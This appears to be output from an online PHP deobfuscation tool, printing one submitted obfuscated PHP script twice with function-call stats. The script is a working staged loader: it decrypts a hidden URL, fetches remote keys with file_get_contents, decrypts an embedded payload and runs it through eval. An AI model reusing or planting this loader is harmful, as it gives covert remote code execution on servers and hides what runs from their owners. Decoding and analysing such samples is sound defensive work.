Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $sujon0xff = array("MmRhN2Q5NDM0NmNmMDFkMThmOTA=", "ZGFiZGIxMzFhMThmNDVlY2VhYjQ="..
Decoded Output download
<?php
$sujon0xff = array("MmRhN2Q5NDM0NmNmMDFkMThmOTA=", "ZGFiZGIxMzFhMThmNDVlY2VhYjQ=", "YmEyYzJjMjhkNWFkMjAwZDAwNTQ=", "ZDg5MjlkZTI2ZWEzZmI0ZTM4MDg=", "NmJhYzkyMTdlMDhmMTI1Zjg1ODg=", "NWQwMzM5OTE4M2U2MTlkMGFhNGE=", "ZTFmZGJlMDcxN2MxODMyY2FiNGQ=", "NjdkYTUzNzEyZWY3YjBiNWRmMGY=", "NmQwOTJhNjdkYjYyZmYzZjYxYjY=", "OTJhZmRlNTNmZGRjM2VmMzJmNzU=", "YTg3OTQ4OTYxODQxNjZjMGI4NTc=", "YzY5YTYxMDFlNmYzNzlhYzczNGE=", "ZGZjYzYyNDdiNjJmYzRhYzc2OGQ=", "YzNmNzM0ZDBlMjdlZTNhYzBlNTA=", "ZWJhY2E4N2ViN2NjNDdiNGJkOTM=", "ZDRkNTc5YjNmMmVkMzMwZTYxYmM=", "ZWQzZjBkOTMzMjhmZjUyYWVlOWE=", "NTgwOWU2MTQ3MDk5MTczMWM5NmU=", "N2VmMTkzZjY3ZGZmNTRmYjQ2MWU=", "NjY4ODQzOGYxMGEzNmNkOWVlYzk=", "YzVkMDE2YjhmZjM1M2I1ZWQyNjE=", "MTU3NjlmYTY5MDRiYWFhMTQwNzk=", "MzE1M2VlN2MyN2FlYWU2OGIyMjU=", "N2UwZmVlMDBkMWU1ZGJkOTEwY2Q=", "MDVmY2I2OGQ5Yzc4YWYxMWVhNWQ=", "NGNiODUwNTdiMmFkYWY3N2EyZTI=", "YjcyMWZlNWEwYmQwNWVhNWQ0N2I=", "ZTI0OGQ3NWNmM2I0NmJiMzI0YzY=", "MmRiZmE4OGQyMjE4NjAzYzdlMWM=", "MTBjNzhjZGI4M2Y2MDk1Yzk3Mzg=", "NDRiM2FhNGZmYTQxOWQzZTZiYzQ=", "OTEwZDU5MmRlYWFhYTFmYjg0ZDY=", "NjVlYTczNGZlNDU3M2QyYTQyNTE=", "NDk5MTljYzMxYTA5Mjk5YzIzYzg=", "YTY4ZmI3M2Y1NGM3MGI2ZTMyYmM=", "MjRmN2NkMTYyZmM5MjUzYzgyNDI=", "NDVmMzViYzg3NjAyMWEwZDc3ZmQ=", "MWRiYjBhMjhlNTA2M2Y5NzAxOTc=", "OWIxOWEzNjc4ZTNhOWYwMjc1NDM=", "NDVjOTBlZTZjOTYxZDgzMzk0ZDY=", "NTNkYjllNGRhYTQ3ZjY3MWI5ZDY=", "ODViNWM5MGU4NGM0MWJkNWYzMTE=", "YjBjZjRmMDRjNjEyNjlmZjg3YTQ=", "MzcyMGQ2ZDJlZjUxM2M5NWJjNjU=", "N2Y2ZTViN2Q5ZWZkYWJhOTQwZTI=", "MWJiN2UyNjgwMjRjNTA1NmY4MDI=", "MTEwMjYyNTczMWY5NGUxOTUzMjA=", "ODcyZGFiOWUyMmRmMGVlMDM5MmQ=", "MWRmYjIxOTUyYzU1YjJmM2Q4NGE=", "OGFlMmJjZmRlMjFhZTljNmUyYTg=", "MjNiNmQ1OTUyZmQ0YjQ4OGQzNTM=", "ZjMwMTgwODM5NDAwYmM3M2VmM2U=", "YWFjNGIzYTI3MmU3NmNlNzFiOTE=", "ZjI1NTEwZmE4ZjRjYWEyZjU0Njc=", "ZDlkYWRjZGM1ZTI5MDVmNmE3NTg=", "YWY2YzM1YTAxNTViMjA4YmI3NjY=", "ZTMyN2E5MmI1YTQ2M2VjN2I0OTk=", "MGRkMWRiMTQ3N2RlNDFlNGY4ZjQ=", "MGI0NzQwNzRiNTY3YjI1NjdhMjg=", "YjRjMzk4NDUwYTNjOGNjYzkyZWE=", "MjkxYTE0MDNiNTBkM2IzMDg0OGQ=", "YWQzYzEzZDc2OTE4NmZkNzgzNjE=", "ZDA0ZTJhNDU4MjJlODI4MjYyN2U=", "OTY1YjMyYWEwZGQ0ZDVmMmQ5ZmY=", "NzlhMjdiZjNiODMzNmM0YjVmN2Q=", "MjA4OWFjMTYyYzRjMzJiODZlNzA=", "YzdlNDlhOTY1YTE5ODU2Y2Q3YzA=", "YWU1MTY3ZjFhNTkzMmQ2NzdiMWM=", "ZWViMDEyMmVmMGViYTQxOWQ4OWI=", "Y2IzODRiZDZkNzc3ZGFkZGFhNTQ=", "NjgxZjNjNGE=");
$Freedom369_4u = "h4dPO2VP8XckPvJSalR4GqGFQVKCnEWub9RxO4PEpLA=";
function heyDanny($kiravi) {
$xorKey1 = "xorKey1";
$rc4Key1 = "rc4Key1";
$decoded = base64_decode($kiravi);
$rc4Decrypted = "";
$s = range(0, 255);
$j = 0;
for ($i = 0; $i < 256; $i++) {
$j = ($j + $s[$i] + ord($rc4Key1[$i % strlen($rc4Key1)])) % 256;
$tmp = $s[$i];
$s[$i] = $s[$j];
$s[$j] = $tmp;
}
$i = $j = 0;
for ($y = 0; $y < strlen($decoded); $y++) {
$i = ($i + 1) % 256;
$j = ($j + $s[$i]) % 256;
$tmp = $s[$i];
$s[$i] = $s[$j];
$s[$j] = $tmp;
$rc4Decrypted .= chr(ord($decoded[$y]) ^ $s[($s[$i] + $s[$j]) % 256]);
}
$decrypted = "";
for ($i = 0; $i < strlen($rc4Decrypted); $i++) {
$decrypted .= chr(ord($rc4Decrypted[$i]) ^ ord($xorKey1[$i % strlen($xorKey1)]));
}
return $decrypted;
}
function func_dulz9g($chunks, $Freedom369_4u) {
$php0xff = heyDanny($Freedom369_4u);
$datas = @file_get_contents($php0xff);
if (!$datas) {
die("server error for encryption.");
}
$datas = json_decode($datas, true);
if (!isset($datas['freedom0xff1']) || !isset($datas['freedom0xff2'])) {
die("Don't change data mother fucker");
}
$data1 = base64_decode($datas['freedom0xff1']);
$data2 = base64_decode($datas['freedom0xff2']);
$hex = implode("", array_map('base64_decode', $chunks));
$xorDecrypted = "";
for ($i = 0; $i < strlen($hex); $i += 2) {
$xorDecrypted .= chr(hexdec(substr($hex, $i, 2)));
}
$rc4Encrypted = "";
for ($i = 0; $i < strlen($xorDecrypted); $i++) {
$rc4Encrypted .= chr(ord($xorDecrypted[$i]) ^ ord($data2[$i % strlen($data2)]));
}
$s = range(0, 255);
$j = 0;
for ($i = 0; $i < 256; $i++) {
$j = ($j + $s[$i] + ord($data1[$i % strlen($data1)])) % 256;
$tmp = $s[$i];
$s[$i] = $s[$j];
$s[$j] = $tmp;
}
$i = $j = 0;
$res = "";
for ($y = 0; $y < strlen($rc4Encrypted); $y++) {
$i = ($i + 1) % 256;
$j = ($j + $s[$i]) % 256;
$tmp = $s[$i];
$s[$i] = $s[$j];
$s[$j] = $tmp;
$res .= chr(ord($rc4Encrypted[$y]) ^ $s[($s[$i] + $s[$j]) % 256]);
}
eval(base64_decode($res));
}
func_dulz9g($sujon0xff, $Freedom369_4u);
?>
Did this file decode correctly?
Original Code
<?php
$sujon0xff = array("MmRhN2Q5NDM0NmNmMDFkMThmOTA=", "ZGFiZGIxMzFhMThmNDVlY2VhYjQ=", "YmEyYzJjMjhkNWFkMjAwZDAwNTQ=", "ZDg5MjlkZTI2ZWEzZmI0ZTM4MDg=", "NmJhYzkyMTdlMDhmMTI1Zjg1ODg=", "NWQwMzM5OTE4M2U2MTlkMGFhNGE=", "ZTFmZGJlMDcxN2MxODMyY2FiNGQ=", "NjdkYTUzNzEyZWY3YjBiNWRmMGY=", "NmQwOTJhNjdkYjYyZmYzZjYxYjY=", "OTJhZmRlNTNmZGRjM2VmMzJmNzU=", "YTg3OTQ4OTYxODQxNjZjMGI4NTc=", "YzY5YTYxMDFlNmYzNzlhYzczNGE=", "ZGZjYzYyNDdiNjJmYzRhYzc2OGQ=", "YzNmNzM0ZDBlMjdlZTNhYzBlNTA=", "ZWJhY2E4N2ViN2NjNDdiNGJkOTM=", "ZDRkNTc5YjNmMmVkMzMwZTYxYmM=", "ZWQzZjBkOTMzMjhmZjUyYWVlOWE=", "NTgwOWU2MTQ3MDk5MTczMWM5NmU=", "N2VmMTkzZjY3ZGZmNTRmYjQ2MWU=", "NjY4ODQzOGYxMGEzNmNkOWVlYzk=", "YzVkMDE2YjhmZjM1M2I1ZWQyNjE=", "MTU3NjlmYTY5MDRiYWFhMTQwNzk=", "MzE1M2VlN2MyN2FlYWU2OGIyMjU=", "N2UwZmVlMDBkMWU1ZGJkOTEwY2Q=", "MDVmY2I2OGQ5Yzc4YWYxMWVhNWQ=", "NGNiODUwNTdiMmFkYWY3N2EyZTI=", "YjcyMWZlNWEwYmQwNWVhNWQ0N2I=", "ZTI0OGQ3NWNmM2I0NmJiMzI0YzY=", "MmRiZmE4OGQyMjE4NjAzYzdlMWM=", "MTBjNzhjZGI4M2Y2MDk1Yzk3Mzg=", "NDRiM2FhNGZmYTQxOWQzZTZiYzQ=", "OTEwZDU5MmRlYWFhYTFmYjg0ZDY=", "NjVlYTczNGZlNDU3M2QyYTQyNTE=", "NDk5MTljYzMxYTA5Mjk5YzIzYzg=", "YTY4ZmI3M2Y1NGM3MGI2ZTMyYmM=", "MjRmN2NkMTYyZmM5MjUzYzgyNDI=", "NDVmMzViYzg3NjAyMWEwZDc3ZmQ=", "MWRiYjBhMjhlNTA2M2Y5NzAxOTc=", "OWIxOWEzNjc4ZTNhOWYwMjc1NDM=", "NDVjOTBlZTZjOTYxZDgzMzk0ZDY=", "NTNkYjllNGRhYTQ3ZjY3MWI5ZDY=", "ODViNWM5MGU4NGM0MWJkNWYzMTE=", "YjBjZjRmMDRjNjEyNjlmZjg3YTQ=", "MzcyMGQ2ZDJlZjUxM2M5NWJjNjU=", "N2Y2ZTViN2Q5ZWZkYWJhOTQwZTI=", "MWJiN2UyNjgwMjRjNTA1NmY4MDI=", "MTEwMjYyNTczMWY5NGUxOTUzMjA=", "ODcyZGFiOWUyMmRmMGVlMDM5MmQ=", "MWRmYjIxOTUyYzU1YjJmM2Q4NGE=", "OGFlMmJjZmRlMjFhZTljNmUyYTg=", "MjNiNmQ1OTUyZmQ0YjQ4OGQzNTM=", "ZjMwMTgwODM5NDAwYmM3M2VmM2U=", "YWFjNGIzYTI3MmU3NmNlNzFiOTE=", "ZjI1NTEwZmE4ZjRjYWEyZjU0Njc=", "ZDlkYWRjZGM1ZTI5MDVmNmE3NTg=", "YWY2YzM1YTAxNTViMjA4YmI3NjY=", "ZTMyN2E5MmI1YTQ2M2VjN2I0OTk=", "MGRkMWRiMTQ3N2RlNDFlNGY4ZjQ=", "MGI0NzQwNzRiNTY3YjI1NjdhMjg=", "YjRjMzk4NDUwYTNjOGNjYzkyZWE=", "MjkxYTE0MDNiNTBkM2IzMDg0OGQ=", "YWQzYzEzZDc2OTE4NmZkNzgzNjE=", "ZDA0ZTJhNDU4MjJlODI4MjYyN2U=", "OTY1YjMyYWEwZGQ0ZDVmMmQ5ZmY=", "NzlhMjdiZjNiODMzNmM0YjVmN2Q=", "MjA4OWFjMTYyYzRjMzJiODZlNzA=", "YzdlNDlhOTY1YTE5ODU2Y2Q3YzA=", "YWU1MTY3ZjFhNTkzMmQ2NzdiMWM=", "ZWViMDEyMmVmMGViYTQxOWQ4OWI=", "Y2IzODRiZDZkNzc3ZGFkZGFhNTQ=", "NjgxZjNjNGE=");
$Freedom369_4u = "h4dPO2VP8XckPvJSalR4GqGFQVKCnEWub9RxO4PEpLA=";
function heyDanny($kiravi) {
$xorKey1 = "xorKey1";
$rc4Key1 = "rc4Key1";
$decoded = base64_decode($kiravi);
$rc4Decrypted = "";
$s = range(0, 255);
$j = 0;
for ($i = 0; $i < 256; $i++) {
$j = ($j + $s[$i] + ord($rc4Key1[$i % strlen($rc4Key1)])) % 256;
$tmp = $s[$i];
$s[$i] = $s[$j];
$s[$j] = $tmp;
}
$i = $j = 0;
for ($y = 0; $y < strlen($decoded); $y++) {
$i = ($i + 1) % 256;
$j = ($j + $s[$i]) % 256;
$tmp = $s[$i];
$s[$i] = $s[$j];
$s[$j] = $tmp;
$rc4Decrypted .= chr(ord($decoded[$y]) ^ $s[($s[$i] + $s[$j]) % 256]);
}
$decrypted = "";
for ($i = 0; $i < strlen($rc4Decrypted); $i++) {
$decrypted .= chr(ord($rc4Decrypted[$i]) ^ ord($xorKey1[$i % strlen($xorKey1)]));
}
return $decrypted;
}
function func_dulz9g($chunks, $Freedom369_4u) {
$php0xff = heyDanny($Freedom369_4u);
$datas = @file_get_contents($php0xff);
if (!$datas) {
die("server error for encryption.");
}
$datas = json_decode($datas, true);
if (!isset($datas['freedom0xff1']) || !isset($datas['freedom0xff2'])) {
die("Don't change data mother fucker");
}
$data1 = base64_decode($datas['freedom0xff1']);
$data2 = base64_decode($datas['freedom0xff2']);
$hex = implode("", array_map('base64_decode', $chunks));
$xorDecrypted = "";
for ($i = 0; $i < strlen($hex); $i += 2) {
$xorDecrypted .= chr(hexdec(substr($hex, $i, 2)));
}
$rc4Encrypted = "";
for ($i = 0; $i < strlen($xorDecrypted); $i++) {
$rc4Encrypted .= chr(ord($xorDecrypted[$i]) ^ ord($data2[$i % strlen($data2)]));
}
$s = range(0, 255);
$j = 0;
for ($i = 0; $i < 256; $i++) {
$j = ($j + $s[$i] + ord($data1[$i % strlen($data1)])) % 256;
$tmp = $s[$i];
$s[$i] = $s[$j];
$s[$j] = $tmp;
}
$i = $j = 0;
$res = "";
for ($y = 0; $y < strlen($rc4Encrypted); $y++) {
$i = ($i + 1) % 256;
$j = ($j + $s[$i]) % 256;
$tmp = $s[$i];
$s[$i] = $s[$j];
$s[$j] = $tmp;
$res .= chr(ord($rc4Encrypted[$y]) ^ $s[($s[$i] + $s[$j]) % 256]);
}
eval(base64_decode($res));
}
func_dulz9g($sujon0xff, $Freedom369_4u);
?>
Function Calls
range | 1 |
heyDanny | 1 |
func_dulz9g | 1 |
base64_decode | 1 |
Stats
MD5 | 1128892011f4179049e08a9dcbffcfa2 |
Eval Count | 0 |
Decode Time | 75 ms |